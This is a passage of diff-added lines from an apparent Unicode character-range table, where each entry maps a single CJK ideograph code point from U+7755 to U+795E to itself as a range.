+ ["\u7755", "\u7755"], /* CJK Ideograph */
+ ["\u7756", "\u7756"], /* CJK Ideograph */
+ ["\u7757", "\u7757"], /* CJK Ideograph */
+ ["\u7758", "\u7758"], /* CJK Ideograph */
+ ["\u7759", "\u7759"], /* CJK Ideograph */
+ ["\u775A", "\u775A"], /* CJK Ideograph */
+ ["\u775B", "\u775B"], /* CJK Ideograph */
+ ["\u775C", "\u775C"], /* CJK Ideograph */
+ ["\u775D", "\u775D"], /* CJK Ideograph */
+ ["\u775E", "\u775E"], /* CJK Ideograph */
+ ["\u775F", "\u775F"], /* CJK Ideograph */
+ ["\u7760", "\u7760"], /* CJK Ideograph */
+ ["\u7761", "\u7761"], /* CJK Ideograph */
+ ["\u7762", "\u7762"], /* CJK Ideograph */
+ ["\u7763", "\u7763"], /* CJK Ideograph */
+ ["\u7764", "\u7764"], /* CJK Ideograph */
+ ["\u7765", "\u7765"], /* CJK Ideograph */
+ ["\u7766", "\u7766"], /* CJK Ideograph */
+ ["\u7767", "\u7767"], /* CJK Ideograph */
+ ["\u7768", "\u7768"], /* CJK Ideograph */
+ ["\u7769", "\u7769"], /* CJK Ideograph */
+ ["\u776A", "\u776A"], /* CJK Ideograph */
+ ["\u776B", "\u776B"], /* CJK Ideograph */
+ ["\u776C", "\u776C"], /* CJK Ideograph */
+ ["\u776D", "\u776D"], /* CJK Ideograph */
+ ["\u776E", "\u776E"], /* CJK Ideograph */
+ ["\u776F", "\u776F"], /* CJK Ideograph */
+ ["\u7770", "\u7770"], /* CJK Ideograph */
+ ["\u7771", "\u7771"], /* CJK Ideograph */
+ ["\u7772", "\u7772"], /* CJK Ideograph */
+ ["\u7773", "\u7773"], /* CJK Ideograph */
+ ["\u7774", "\u7774"], /* CJK Ideograph */
+ ["\u7775", "\u7775"], /* CJK Ideograph */
+ ["\u7776", "\u7776"], /* CJK Ideograph */
+ ["\u7777", "\u7777"], /* CJK Ideograph */
+ ["\u7778", "\u7778"], /* CJK Ideograph */
+ ["\u7779", "\u7779"], /* CJK Ideograph */
+ ["\u777A", "\u777A"], /* CJK Ideograph */
+ ["\u777B", "\u777B"], /* CJK Ideograph */
+ ["\u777C", "\u777C"], /* CJK Ideograph */
+ ["\u777D", "\u777D"], /* CJK Ideograph */
+ ["\u777E", "\u777E"], /* CJK Ideograph */
+ ["\u777F", "\u777F"], /* CJK Ideograph */
+ ["\u7780", "\u7780"], /* CJK Ideograph */
+ ["\u7781", "\u7781"], /* CJK Ideograph */
+ ["\u7782", "\u7782"], /* CJK Ideograph */
+ ["\u7783", "\u7783"], /* CJK Ideograph */
+ ["\u7784", "\u7784"], /* CJK Ideograph */
+ ["\u7785", "\u7785"], /* CJK Ideograph */
+ ["\u7786", "\u7786"], /* CJK Ideograph */
+ ["\u7787", "\u7787"], /* CJK Ideograph */
+ ["\u7788", "\u7788"], /* CJK Ideograph */
+ ["\u7789", "\u7789"], /* CJK Ideograph */
+ ["\u778A", "\u778A"], /* CJK Ideograph */
+ ["\u778B", "\u778B"], /* CJK Ideograph */
+ ["\u778C", "\u778C"], /* CJK Ideograph */
+ ["\u778D", "\u778D"], /* CJK Ideograph */
+ ["\u778E", "\u778E"], /* CJK Ideograph */
+ ["\u778F", "\u778F"], /* CJK Ideograph */
+ ["\u7790", "\u7790"], /* CJK Ideograph */
+ ["\u7791", "\u7791"], /* CJK Ideograph */
+ ["\u7792", "\u7792"], /* CJK Ideograph */
+ ["\u7793", "\u7793"], /* CJK Ideograph */
+ ["\u7794", "\u7794"], /* CJK Ideograph */
+ ["\u7795", "\u7795"], /* CJK Ideograph */
+ ["\u7796", "\u7796"], /* CJK Ideograph */
+ ["\u7797", "\u7797"], /* CJK Ideograph */
+ ["\u7798", "\u7798"], /* CJK Ideograph */
+ ["\u7799", "\u7799"], /* CJK Ideograph */
+ ["\u779A", "\u779A"], /* CJK Ideograph */
+ ["\u779B", "\u779B"], /* CJK Ideograph */
+ ["\u779C", "\u779C"], /* CJK Ideograph */
+ ["\u779D", "\u779D"], /* CJK Ideograph */
+ ["\u779E", "\u779E"], /* CJK Ideograph */
+ ["\u779F", "\u779F"], /* CJK Ideograph */
+ ["\u77A0", "\u77A0"], /* CJK Ideograph */
+ ["\u77A1", "\u77A1"], /* CJK Ideograph */
+ ["\u77A2", "\u77A2"], /* CJK Ideograph */
+ ["\u77A3", "\u77A3"], /* CJK Ideograph */
+ ["\u77A4", "\u77A4"], /* CJK Ideograph */
+ ["\u77A5", "\u77A5"], /* CJK Ideograph */
+ ["\u77A6", "\u77A6"], /* CJK Ideograph */
+ ["\u77A7", "\u77A7"], /* CJK Ideograph */
+ ["\u77A8", "\u77A8"], /* CJK Ideograph */
+ ["\u77A9", "\u77A9"], /* CJK Ideograph */
+ ["\u77AA", "\u77AA"], /* CJK Ideograph */
+ ["\u77AB", "\u77AB"], /* CJK Ideograph */
+ ["\u77AC", "\u77AC"], /* CJK Ideograph */
+ ["\u77AD", "\u77AD"], /* CJK Ideograph */
+ ["\u77AE", "\u77AE"], /* CJK Ideograph */
+ ["\u77AF", "\u77AF"], /* CJK Ideograph */
+ ["\u77B0", "\u77B0"], /* CJK Ideograph */
+ ["\u77B1", "\u77B1"], /* CJK Ideograph */
+ ["\u77B2", "\u77B2"], /* CJK Ideograph */
+ ["\u77B3", "\u77B3"], /* CJK Ideograph */
+ ["\u77B4", "\u77B4"], /* CJK Ideograph */
+ ["\u77B5", "\u77B5"], /* CJK Ideograph */
+ ["\u77B6", "\u77B6"], /* CJK Ideograph */
+ ["\u77B7", "\u77B7"], /* CJK Ideograph */
+ ["\u77B8", "\u77B8"], /* CJK Ideograph */
+ ["\u77B9", "\u77B9"], /* CJK Ideograph */
+ ["\u77BA", "\u77BA"], /* CJK Ideograph */
+ ["\u77BB", "\u77BB"], /* CJK Ideograph */
+ ["\u77BC", "\u77BC"], /* CJK Ideograph */
+ ["\u77BD", "\u77BD"], /* CJK Ideograph */
+ ["\u77BE", "\u77BE"], /* CJK Ideograph */
+ ["\u77BF", "\u77BF"], /* CJK Ideograph */
+ ["\u77C0", "\u77C0"], /* CJK Ideograph */
+ ["\u77C1", "\u77C1"], /* CJK Ideograph */
+ ["\u77C2", "\u77C2"], /* CJK Ideograph */
+ ["\u77C3", "\u77C3"], /* CJK Ideograph */
+ ["\u77C4", "\u77C4"], /* CJK Ideograph */
+ ["\u77C5", "\u77C5"], /* CJK Ideograph */
+ ["\u77C6", "\u77C6"], /* CJK Ideograph */
+ ["\u77C7", "\u77C7"], /* CJK Ideograph */
+ ["\u77C8", "\u77C8"], /* CJK Ideograph */
+ ["\u77C9", "\u77C9"], /* CJK Ideograph */
+ ["\u77CA", "\u77CA"], /* CJK Ideograph */
+ ["\u77CB", "\u77CB"], /* CJK Ideograph */
+ ["\u77CC", "\u77CC"], /* CJK Ideograph */
+ ["\u77CD", "\u77CD"], /* CJK Ideograph */
+ ["\u77CE", "\u77CE"], /* CJK Ideograph */
+ ["\u77CF", "\u77CF"], /* CJK Ideograph */
+ ["\u77D0", "\u77D0"], /* CJK Ideograph */
+ ["\u77D1", "\u77D1"], /* CJK Ideograph */
+ ["\u77D2", "\u77D2"], /* CJK Ideograph */
+ ["\u77D3", "\u77D3"], /* CJK Ideograph */
+ ["\u77D4", "\u77D4"], /* CJK Ideograph */
+ ["\u77D5", "\u77D5"], /* CJK Ideograph */
+ ["\u77D6", "\u77D6"], /* CJK Ideograph */
+ ["\u77D7", "\u77D7"], /* CJK Ideograph */
+ ["\u77D8", "\u77D8"], /* CJK Ideograph */
+ ["\u77D9", "\u77D9"], /* CJK Ideograph */
+ ["\u77DA", "\u77DA"], /* CJK Ideograph */
+ ["\u77DB", "\u77DB"], /* CJK Ideograph */
+ ["\u77DC", "\u77DC"], /* CJK Ideograph */
+ ["\u77DD", "\u77DD"], /* CJK Ideograph */
+ ["\u77DE", "\u77DE"], /* CJK Ideograph */
+ ["\u77DF", "\u77DF"], /* CJK Ideograph */
+ ["\u77E0", "\u77E0"], /* CJK Ideograph */
+ ["\u77E1", "\u77E1"], /* CJK Ideograph */
+ ["\u77E2", "\u77E2"], /* CJK Ideograph */
+ ["\u77E3", "\u77E3"], /* CJK Ideograph */
+ ["\u77E4", "\u77E4"], /* CJK Ideograph */
+ ["\u77E5", "\u77E5"], /* CJK Ideograph */
+ ["\u77E6", "\u77E6"], /* CJK Ideograph */
+ ["\u77E7", "\u77E7"], /* CJK Ideograph */
+ ["\u77E8", "\u77E8"], /* CJK Ideograph */
+ ["\u77E9", "\u77E9"], /* CJK Ideograph */
+ ["\u77EA", "\u77EA"], /* CJK Ideograph */
+ ["\u77EB", "\u77EB"], /* CJK Ideograph */
+ ["\u77EC", "\u77EC"], /* CJK Ideograph */
+ ["\u77ED", "\u77ED"], /* CJK Ideograph */
+ ["\u77EE", "\u77EE"], /* CJK Ideograph */
+ ["\u77EF", "\u77EF"], /* CJK Ideograph */
+ ["\u77F0", "\u77F0"], /* CJK Ideograph */
+ ["\u77F1", "\u77F1"], /* CJK Ideograph */
+ ["\u77F2", "\u77F2"], /* CJK Ideograph */
+ ["\u77F3", "\u77F3"], /* CJK Ideograph */
+ ["\u77F4", "\u77F4"], /* CJK Ideograph */
+ ["\u77F5", "\u77F5"], /* CJK Ideograph */
+ ["\u77F6", "\u77F6"], /* CJK Ideograph */
+ ["\u77F7", "\u77F7"], /* CJK Ideograph */
+ ["\u77F8", "\u77F8"], /* CJK Ideograph */
+ ["\u77F9", "\u77F9"], /* CJK Ideograph */
+ ["\u77FA", "\u77FA"], /* CJK Ideograph */
+ ["\u77FB", "\u77FB"], /* CJK Ideograph */
+ ["\u77FC", "\u77FC"], /* CJK Ideograph */
+ ["\u77FD", "\u77FD"], /* CJK Ideograph */
+ ["\u77FE", "\u77FE"], /* CJK Ideograph */
+ ["\u77FF", "\u77FF"], /* CJK Ideograph */
+ ["\u7800", "\u7800"], /* CJK Ideograph */
+ ["\u7801", "\u7801"], /* CJK Ideograph */
+ ["\u7802", "\u7802"], /* CJK Ideograph */
+ ["\u7803", "\u7803"], /* CJK Ideograph */
+ ["\u7804", "\u7804"], /* CJK Ideograph */
+ ["\u7805", "\u7805"], /* CJK Ideograph */
+ ["\u7806", "\u7806"], /* CJK Ideograph */
+ ["\u7807", "\u7807"], /* CJK Ideograph */
+ ["\u7808", "\u7808"], /* CJK Ideograph */
+ ["\u7809", "\u7809"], /* CJK Ideograph */
+ ["\u780A", "\u780A"], /* CJK Ideograph */
+ ["\u780B", "\u780B"], /* CJK Ideograph */
+ ["\u780C", "\u780C"], /* CJK Ideograph */
+ ["\u780D", "\u780D"], /* CJK Ideograph */
+ ["\u780E", "\u780E"], /* CJK Ideograph */
+ ["\u780F", "\u780F"], /* CJK Ideograph */
+ ["\u7810", "\u7810"], /* CJK Ideograph */
+ ["\u7811", "\u7811"], /* CJK Ideograph */
+ ["\u7812", "\u7812"], /* CJK Ideograph */
+ ["\u7813", "\u7813"], /* CJK Ideograph */
+ ["\u7814", "\u7814"], /* CJK Ideograph */
+ ["\u7815", "\u7815"], /* CJK Ideograph */
+ ["\u7816", "\u7816"], /* CJK Ideograph */
+ ["\u7817", "\u7817"], /* CJK Ideograph */
+ ["\u7818", "\u7818"], /* CJK Ideograph */
+ ["\u7819", "\u7819"], /* CJK Ideograph */
+ ["\u781A", "\u781A"], /* CJK Ideograph */
+ ["\u781B", "\u781B"], /* CJK Ideograph */
+ ["\u781C", "\u781C"], /* CJK Ideograph */
+ ["\u781D", "\u781D"], /* CJK Ideograph */
+ ["\u781E", "\u781E"], /* CJK Ideograph */
+ ["\u781F", "\u781F"], /* CJK Ideograph */
+ ["\u7820", "\u7820"], /* CJK Ideograph */
+ ["\u7821", "\u7821"], /* CJK Ideograph */
+ ["\u7822", "\u7822"], /* CJK Ideograph */
+ ["\u7823", "\u7823"], /* CJK Ideograph */
+ ["\u7824", "\u7824"], /* CJK Ideograph */
+ ["\u7825", "\u7825"], /* CJK Ideograph */
+ ["\u7826", "\u7826"], /* CJK Ideograph */
+ ["\u7827", "\u7827"], /* CJK Ideograph */
+ ["\u7828", "\u7828"], /* CJK Ideograph */
+ ["\u7829", "\u7829"], /* CJK Ideograph */
+ ["\u782A", "\u782A"], /* CJK Ideograph */
+ ["\u782B", "\u782B"], /* CJK Ideograph */
+ ["\u782C", "\u782C"], /* CJK Ideograph */
+ ["\u782D", "\u782D"], /* CJK Ideograph */
+ ["\u782E", "\u782E"], /* CJK Ideograph */
+ ["\u782F", "\u782F"], /* CJK Ideograph */
+ ["\u7830", "\u7830"], /* CJK Ideograph */
+ ["\u7831", "\u7831"], /* CJK Ideograph */
+ ["\u7832", "\u7832"], /* CJK Ideograph */
+ ["\u7833", "\u7833"], /* CJK Ideograph */
+ ["\u7834", "\u7834"], /* CJK Ideograph */
+ ["\u7835", "\u7835"], /* CJK Ideograph */
+ ["\u7836", "\u7836"], /* CJK Ideograph */
+ ["\u7837", "\u7837"], /* CJK Ideograph */
+ ["\u7838", "\u7838"], /* CJK Ideograph */
+ ["\u7839", "\u7839"], /* CJK Ideograph */
+ ["\u783A", "\u783A"], /* CJK Ideograph */
+ ["\u783B", "\u783B"], /* CJK Ideograph */
+ ["\u783C", "\u783C"], /* CJK Ideograph */
+ ["\u783D", "\u783D"], /* CJK Ideograph */
+ ["\u783E", "\u783E"], /* CJK Ideograph */
+ ["\u783F", "\u783F"], /* CJK Ideograph */
+ ["\u7840", "\u7840"], /* CJK Ideograph */
+ ["\u7841", "\u7841"], /* CJK Ideograph */
+ ["\u7842", "\u7842"], /* CJK Ideograph */
+ ["\u7843", "\u7843"], /* CJK Ideograph */
+ ["\u7844", "\u7844"], /* CJK Ideograph */
+ ["\u7845", "\u7845"], /* CJK Ideograph */
+ ["\u7846", "\u7846"], /* CJK Ideograph */
+ ["\u7847", "\u7847"], /* CJK Ideograph */
+ ["\u7848", "\u7848"], /* CJK Ideograph */
+ ["\u7849", "\u7849"], /* CJK Ideograph */
+ ["\u784A", "\u784A"], /* CJK Ideograph */
+ ["\u784B", "\u784B"], /* CJK Ideograph */
+ ["\u784C", "\u784C"], /* CJK Ideograph */
+ ["\u784D", "\u784D"], /* CJK Ideograph */
+ ["\u784E", "\u784E"], /* CJK Ideograph */
+ ["\u784F", "\u784F"], /* CJK Ideograph */
+ ["\u7850", "\u7850"], /* CJK Ideograph */
+ ["\u7851", "\u7851"], /* CJK Ideograph */
+ ["\u7852", "\u7852"], /* CJK Ideograph */
+ ["\u7853", "\u7853"], /* CJK Ideograph */
+ ["\u7854", "\u7854"], /* CJK Ideograph */
+ ["\u7855", "\u7855"], /* CJK Ideograph */
+ ["\u7856", "\u7856"], /* CJK Ideograph */
+ ["\u7857", "\u7857"], /* CJK Ideograph */
+ ["\u7858", "\u7858"], /* CJK Ideograph */
+ ["\u7859", "\u7859"], /* CJK Ideograph */
+ ["\u785A", "\u785A"], /* CJK Ideograph */
+ ["\u785B", "\u785B"], /* CJK Ideograph */
+ ["\u785C", "\u785C"], /* CJK Ideograph */
+ ["\u785D", "\u785D"], /* CJK Ideograph */
+ ["\u785E", "\u785E"], /* CJK Ideograph */
+ ["\u785F", "\u785F"], /* CJK Ideograph */
+ ["\u7860", "\u7860"], /* CJK Ideograph */
+ ["\u7861", "\u7861"], /* CJK Ideograph */
+ ["\u7862", "\u7862"], /* CJK Ideograph */
+ ["\u7863", "\u7863"], /* CJK Ideograph */
+ ["\u7864", "\u7864"], /* CJK Ideograph */
+ ["\u7865", "\u7865"], /* CJK Ideograph */
+ ["\u7866", "\u7866"], /* CJK Ideograph */
+ ["\u7867", "\u7867"], /* CJK Ideograph */
+ ["\u7868", "\u7868"], /* CJK Ideograph */
+ ["\u7869", "\u7869"], /* CJK Ideograph */
+ ["\u786A", "\u786A"], /* CJK Ideograph */
+ ["\u786B", "\u786B"], /* CJK Ideograph */
+ ["\u786C", "\u786C"], /* CJK Ideograph */
+ ["\u786D", "\u786D"], /* CJK Ideograph */
+ ["\u786E", "\u786E"], /* CJK Ideograph */
+ ["\u786F", "\u786F"], /* CJK Ideograph */
+ ["\u7870", "\u7870"], /* CJK Ideograph */
+ ["\u7871", "\u7871"], /* CJK Ideograph */
+ ["\u7872", "\u7872"], /* CJK Ideograph */
+ ["\u7873", "\u7873"], /* CJK Ideograph */
+ ["\u7874", "\u7874"], /* CJK Ideograph */
+ ["\u7875", "\u7875"], /* CJK Ideograph */
+ ["\u7876", "\u7876"], /* CJK Ideograph */
+ ["\u7877", "\u7877"], /* CJK Ideograph */
+ ["\u7878", "\u7878"], /* CJK Ideograph */
+ ["\u7879", "\u7879"], /* CJK Ideograph */
+ ["\u787A", "\u787A"], /* CJK Ideograph */
+ ["\u787B", "\u787B"], /* CJK Ideograph */
+ ["\u787C", "\u787C"], /* CJK Ideograph */
+ ["\u787D", "\u787D"], /* CJK Ideograph */
+ ["\u787E", "\u787E"], /* CJK Ideograph */
+ ["\u787F", "\u787F"], /* CJK Ideograph */
+ ["\u7880", "\u7880"], /* CJK Ideograph */
+ ["\u7881", "\u7881"], /* CJK Ideograph */
+ ["\u7882", "\u7882"], /* CJK Ideograph */
+ ["\u7883", "\u7883"], /* CJK Ideograph */
+ ["\u7884", "\u7884"], /* CJK Ideograph */
+ ["\u7885", "\u7885"], /* CJK Ideograph */
+ ["\u7886", "\u7886"], /* CJK Ideograph */
+ ["\u7887", "\u7887"], /* CJK Ideograph */
+ ["\u7888", "\u7888"], /* CJK Ideograph */
+ ["\u7889", "\u7889"], /* CJK Ideograph */
+ ["\u788A", "\u788A"], /* CJK Ideograph */
+ ["\u788B", "\u788B"], /* CJK Ideograph */
+ ["\u788C", "\u788C"], /* CJK Ideograph */
+ ["\u788D", "\u788D"], /* CJK Ideograph */
+ ["\u788E", "\u788E"], /* CJK Ideograph */
+ ["\u788F", "\u788F"], /* CJK Ideograph */
+ ["\u7890", "\u7890"], /* CJK Ideograph */
+ ["\u7891", "\u7891"], /* CJK Ideograph */
+ ["\u7892", "\u7892"], /* CJK Ideograph */
+ ["\u7893", "\u7893"], /* CJK Ideograph */
+ ["\u7894", "\u7894"], /* CJK Ideograph */
+ ["\u7895", "\u7895"], /* CJK Ideograph */
+ ["\u7896", "\u7896"], /* CJK Ideograph */
+ ["\u7897", "\u7897"], /* CJK Ideograph */
+ ["\u7898", "\u7898"], /* CJK Ideograph */
+ ["\u7899", "\u7899"], /* CJK Ideograph */
+ ["\u789A", "\u789A"], /* CJK Ideograph */
+ ["\u789B", "\u789B"], /* CJK Ideograph */
+ ["\u789C", "\u789C"], /* CJK Ideograph */
+ ["\u789D", "\u789D"], /* CJK Ideograph */
+ ["\u789E", "\u789E"], /* CJK Ideograph */
+ ["\u789F", "\u789F"], /* CJK Ideograph */
+ ["\u78A0", "\u78A0"], /* CJK Ideograph */
+ ["\u78A1", "\u78A1"], /* CJK Ideograph */
+ ["\u78A2", "\u78A2"], /* CJK Ideograph */
+ ["\u78A3", "\u78A3"], /* CJK Ideograph */
+ ["\u78A4", "\u78A4"], /* CJK Ideograph */
+ ["\u78A5", "\u78A5"], /* CJK Ideograph */
+ ["\u78A6", "\u78A6"], /* CJK Ideograph */
+ ["\u78A7", "\u78A7"], /* CJK Ideograph */
+ ["\u78A8", "\u78A8"], /* CJK Ideograph */
+ ["\u78A9", "\u78A9"], /* CJK Ideograph */
+ ["\u78AA", "\u78AA"], /* CJK Ideograph */
+ ["\u78AB", "\u78AB"], /* CJK Ideograph */
+ ["\u78AC", "\u78AC"], /* CJK Ideograph */
+ ["\u78AD", "\u78AD"], /* CJK Ideograph */
+ ["\u78AE", "\u78AE"], /* CJK Ideograph */
+ ["\u78AF", "\u78AF"], /* CJK Ideograph */
+ ["\u78B0", "\u78B0"], /* CJK Ideograph */
+ ["\u78B1", "\u78B1"], /* CJK Ideograph */
+ ["\u78B2", "\u78B2"], /* CJK Ideograph */
+ ["\u78B3", "\u78B3"], /* CJK Ideograph */
+ ["\u78B4", "\u78B4"], /* CJK Ideograph */
+ ["\u78B5", "\u78B5"], /* CJK Ideograph */
+ ["\u78B6", "\u78B6"], /* CJK Ideograph */
+ ["\u78B7", "\u78B7"], /* CJK Ideograph */
+ ["\u78B8", "\u78B8"], /* CJK Ideograph */
+ ["\u78B9", "\u78B9"], /* CJK Ideograph */
+ ["\u78BA", "\u78BA"], /* CJK Ideograph */
+ ["\u78BB", "\u78BB"], /* CJK Ideograph */
+ ["\u78BC", "\u78BC"], /* CJK Ideograph */
+ ["\u78BD", "\u78BD"], /* CJK Ideograph */
+ ["\u78BE", "\u78BE"], /* CJK Ideograph */
+ ["\u78BF", "\u78BF"], /* CJK Ideograph */
+ ["\u78C0", "\u78C0"], /* CJK Ideograph */
+ ["\u78C1", "\u78C1"], /* CJK Ideograph */
+ ["\u78C2", "\u78C2"], /* CJK Ideograph */
+ ["\u78C3", "\u78C3"], /* CJK Ideograph */
+ ["\u78C4", "\u78C4"], /* CJK Ideograph */
+ ["\u78C5", "\u78C5"], /* CJK Ideograph */
+ ["\u78C6", "\u78C6"], /* CJK Ideograph */
+ ["\u78C7", "\u78C7"], /* CJK Ideograph */
+ ["\u78C8", "\u78C8"], /* CJK Ideograph */
+ ["\u78C9", "\u78C9"], /* CJK Ideograph */
+ ["\u78CA", "\u78CA"], /* CJK Ideograph */
+ ["\u78CB", "\u78CB"], /* CJK Ideograph */
+ ["\u78CC", "\u78CC"], /* CJK Ideograph */
+ ["\u78CD", "\u78CD"], /* CJK Ideograph */
+ ["\u78CE", "\u78CE"], /* CJK Ideograph */
+ ["\u78CF", "\u78CF"], /* CJK Ideograph */
+ ["\u78D0", "\u78D0"], /* CJK Ideograph */
+ ["\u78D1", "\u78D1"], /* CJK Ideograph */
+ ["\u78D2", "\u78D2"], /* CJK Ideograph */
+ ["\u78D3", "\u78D3"], /* CJK Ideograph */
+ ["\u78D4", "\u78D4"], /* CJK Ideograph */
+ ["\u78D5", "\u78D5"], /* CJK Ideograph */
+ ["\u78D6", "\u78D6"], /* CJK Ideograph */
+ ["\u78D7", "\u78D7"], /* CJK Ideograph */
+ ["\u78D8", "\u78D8"], /* CJK Ideograph */
+ ["\u78D9", "\u78D9"], /* CJK Ideograph */
+ ["\u78DA", "\u78DA"], /* CJK Ideograph */
+ ["\u78DB", "\u78DB"], /* CJK Ideograph */
+ ["\u78DC", "\u78DC"], /* CJK Ideograph */
+ ["\u78DD", "\u78DD"], /* CJK Ideograph */
+ ["\u78DE", "\u78DE"], /* CJK Ideograph */
+ ["\u78DF", "\u78DF"], /* CJK Ideograph */
+ ["\u78E0", "\u78E0"], /* CJK Ideograph */
+ ["\u78E1", "\u78E1"], /* CJK Ideograph */
+ ["\u78E2", "\u78E2"], /* CJK Ideograph */
+ ["\u78E3", "\u78E3"], /* CJK Ideograph */
+ ["\u78E4", "\u78E4"], /* CJK Ideograph */
+ ["\u78E5", "\u78E5"], /* CJK Ideograph */
+ ["\u78E6", "\u78E6"], /* CJK Ideograph */
+ ["\u78E7", "\u78E7"], /* CJK Ideograph */
+ ["\u78E8", "\u78E8"], /* CJK Ideograph */
+ ["\u78E9", "\u78E9"], /* CJK Ideograph */
+ ["\u78EA", "\u78EA"], /* CJK Ideograph */
+ ["\u78EB", "\u78EB"], /* CJK Ideograph */
+ ["\u78EC", "\u78EC"], /* CJK Ideograph */
+ ["\u78ED", "\u78ED"], /* CJK Ideograph */
+ ["\u78EE", "\u78EE"], /* CJK Ideograph */
+ ["\u78EF", "\u78EF"], /* CJK Ideograph */
+ ["\u78F0", "\u78F0"], /* CJK Ideograph */
+ ["\u78F1", "\u78F1"], /* CJK Ideograph */
+ ["\u78F2", "\u78F2"], /* CJK Ideograph */
+ ["\u78F3", "\u78F3"], /* CJK Ideograph */
+ ["\u78F4", "\u78F4"], /* CJK Ideograph */
+ ["\u78F5", "\u78F5"], /* CJK Ideograph */
+ ["\u78F6", "\u78F6"], /* CJK Ideograph */
+ ["\u78F7", "\u78F7"], /* CJK Ideograph */
+ ["\u78F8", "\u78F8"], /* CJK Ideograph */
+ ["\u78F9", "\u78F9"], /* CJK Ideograph */
+ ["\u78FA", "\u78FA"], /* CJK Ideograph */
+ ["\u78FB", "\u78FB"], /* CJK Ideograph */
+ ["\u78FC", "\u78FC"], /* CJK Ideograph */
+ ["\u78FD", "\u78FD"], /* CJK Ideograph */
+ ["\u78FE", "\u78FE"], /* CJK Ideograph */
+ ["\u78FF", "\u78FF"], /* CJK Ideograph */
+ ["\u7900", "\u7900"], /* CJK Ideograph */
+ ["\u7901", "\u7901"], /* CJK Ideograph */
+ ["\u7902", "\u7902"], /* CJK Ideograph */
+ ["\u7903", "\u7903"], /* CJK Ideograph */
+ ["\u7904", "\u7904"], /* CJK Ideograph */
+ ["\u7905", "\u7905"], /* CJK Ideograph */
+ ["\u7906", "\u7906"], /* CJK Ideograph */
+ ["\u7907", "\u7907"], /* CJK Ideograph */
+ ["\u7908", "\u7908"], /* CJK Ideograph */
+ ["\u7909", "\u7909"], /* CJK Ideograph */
+ ["\u790A", "\u790A"], /* CJK Ideograph */
+ ["\u790B", "\u790B"], /* CJK Ideograph */
+ ["\u790C", "\u790C"], /* CJK Ideograph */
+ ["\u790D", "\u790D"], /* CJK Ideograph */
+ ["\u790E", "\u790E"], /* CJK Ideograph */
+ ["\u790F", "\u790F"], /* CJK Ideograph */
+ ["\u7910", "\u7910"], /* CJK Ideograph */
+ ["\u7911", "\u7911"], /* CJK Ideograph */
+ ["\u7912", "\u7912"], /* CJK Ideograph */
+ ["\u7913", "\u7913"], /* CJK Ideograph */
+ ["\u7914", "\u7914"], /* CJK Ideograph */
+ ["\u7915", "\u7915"], /* CJK Ideograph */
+ ["\u7916", "\u7916"], /* CJK Ideograph */
+ ["\u7917", "\u7917"], /* CJK Ideograph */
+ ["\u7918", "\u7918"], /* CJK Ideograph */
+ ["\u7919", "\u7919"], /* CJK Ideograph */
+ ["\u791A", "\u791A"], /* CJK Ideograph */
+ ["\u791B", "\u791B"], /* CJK Ideograph */
+ ["\u791C", "\u791C"], /* CJK Ideograph */
+ ["\u791D", "\u791D"], /* CJK Ideograph */
+ ["\u791E", "\u791E"], /* CJK Ideograph */
+ ["\u791F", "\u791F"], /* CJK Ideograph */
+ ["\u7920", "\u7920"], /* CJK Ideograph */
+ ["\u7921", "\u7921"], /* CJK Ideograph */
+ ["\u7922", "\u7922"], /* CJK Ideograph */
+ ["\u7923", "\u7923"], /* CJK Ideograph */
+ ["\u7924", "\u7924"], /* CJK Ideograph */
+ ["\u7925", "\u7925"], /* CJK Ideograph */
+ ["\u7926", "\u7926"], /* CJK Ideograph */
+ ["\u7927", "\u7927"], /* CJK Ideograph */
+ ["\u7928", "\u7928"], /* CJK Ideograph */
+ ["\u7929", "\u7929"], /* CJK Ideograph */
+ ["\u792A", "\u792A"], /* CJK Ideograph */
+ ["\u792B", "\u792B"], /* CJK Ideograph */
+ ["\u792C", "\u792C"], /* CJK Ideograph */
+ ["\u792D", "\u792D"], /* CJK Ideograph */
+ ["\u792E", "\u792E"], /* CJK Ideograph */
+ ["\u792F", "\u792F"], /* CJK Ideograph */
+ ["\u7930", "\u7930"], /* CJK Ideograph */
+ ["\u7931", "\u7931"], /* CJK Ideograph */
+ ["\u7932", "\u7932"], /* CJK Ideograph */
+ ["\u7933", "\u7933"], /* CJK Ideograph */
+ ["\u7934", "\u7934"], /* CJK Ideograph */
+ ["\u7935", "\u7935"], /* CJK Ideograph */
+ ["\u7936", "\u7936"], /* CJK Ideograph */
+ ["\u7937", "\u7937"], /* CJK Ideograph */
+ ["\u7938", "\u7938"], /* CJK Ideograph */
+ ["\u7939", "\u7939"], /* CJK Ideograph */
+ ["\u793A", "\u793A"], /* CJK Ideograph */
+ ["\u793B", "\u793B"], /* CJK Ideograph */
+ ["\u793C", "\u793C"], /* CJK Ideograph */
+ ["\u793D", "\u793D"], /* CJK Ideograph */
+ ["\u793E", "\u793E"], /* CJK Ideograph */
+ ["\u793F", "\u793F"], /* CJK Ideograph */
+ ["\u7940", "\u7940"], /* CJK Ideograph */
+ ["\u7941", "\u7941"], /* CJK Ideograph */
+ ["\u7942", "\u7942"], /* CJK Ideograph */
+ ["\u7943", "\u7943"], /* CJK Ideograph */
+ ["\u7944", "\u7944"], /* CJK Ideograph */
+ ["\u7945", "\u7945"], /* CJK Ideograph */
+ ["\u7946", "\u7946"], /* CJK Ideograph */
+ ["\u7947", "\u7947"], /* CJK Ideograph */
+ ["\u7948", "\u7948"], /* CJK Ideograph */
+ ["\u7949", "\u7949"], /* CJK Ideograph */
+ ["\u794A", "\u794A"], /* CJK Ideograph */
+ ["\u794B", "\u794B"], /* CJK Ideograph */
+ ["\u794C", "\u794C"], /* CJK Ideograph */
+ ["\u794D", "\u794D"], /* CJK Ideograph */
+ ["\u794E", "\u794E"], /* CJK Ideograph */
+ ["\u794F", "\u794F"], /* CJK Ideograph */
+ ["\u7950", "\u7950"], /* CJK Ideograph */
+ ["\u7951", "\u7951"], /* CJK Ideograph */
+ ["\u7952", "\u7952"], /* CJK Ideograph */
+ ["\u7953", "\u7953"], /* CJK Ideograph */
+ ["\u7954", "\u7954"], /* CJK Ideograph */
+ ["\u7955", "\u7955"], /* CJK Ideograph */
+ ["\u7956", "\u7956"], /* CJK Ideograph */
+ ["\u7957", "\u7957"], /* CJK Ideograph */
+ ["\u7958", "\u7958"], /* CJK Ideograph */
+ ["\u7959", "\u7959"], /* CJK Ideograph */
+ ["\u795A", "\u795A"], /* CJK Ideograph */
+ ["\u795B", "\u795B"], /* CJK Ideograph */
+ ["\u795C", "\u795C"], /* CJK Ideograph */
+ ["\u795D", "\u795D"], /* CJK Ideograph */
+ ["\u795E", "\u795E"], /* CJK Ideograph */
